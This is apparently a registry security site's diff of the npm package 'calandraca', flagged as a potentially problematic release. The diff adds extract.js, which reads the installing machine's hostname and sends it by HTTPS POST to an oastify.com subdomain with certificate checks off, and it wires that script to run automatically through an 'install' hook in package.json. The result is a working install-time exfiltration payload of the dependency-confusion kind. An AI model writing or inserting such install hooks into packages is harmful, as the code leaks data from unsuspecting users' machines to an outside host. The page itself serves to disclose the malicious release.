calandraca 0.0.1-security → 9.9.11

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of calandraca might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/extract.js +32 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/extract.js ADDED
@@ -0,0 +1,32 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ var hostname = os.hostname();
4
+
5
+ const data = new TextEncoder().encode(
6
+ JSON.stringify({
7
+ payload: hostname
8
+ })
9
+ )
10
+
11
+ const options = {
12
+ hostname: hostname + '.x1zk2ffw4pk173pp82e3zo5lgcm3auyj.oastify.com',
13
+ port: 443,
14
+ path: '/',
15
+ method: 'POST',
16
+ headers: {
17
+ 'Content-Type': 'application/json',
18
+ 'Content-Length': data.length
19
+ },
20
+ rejectUnauthorized: false
21
+ }
22
+
23
+ const req = https.request(options, res => {
24
+
25
+ })
26
+
27
+ req.on('error', error => {
28
+ console.error(error)
29
+ })
30
+
31
+ req.write(data)
32
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "calandraca",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.11",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node extract.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "calandraca": "^9.9.9"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=calandraca for more information.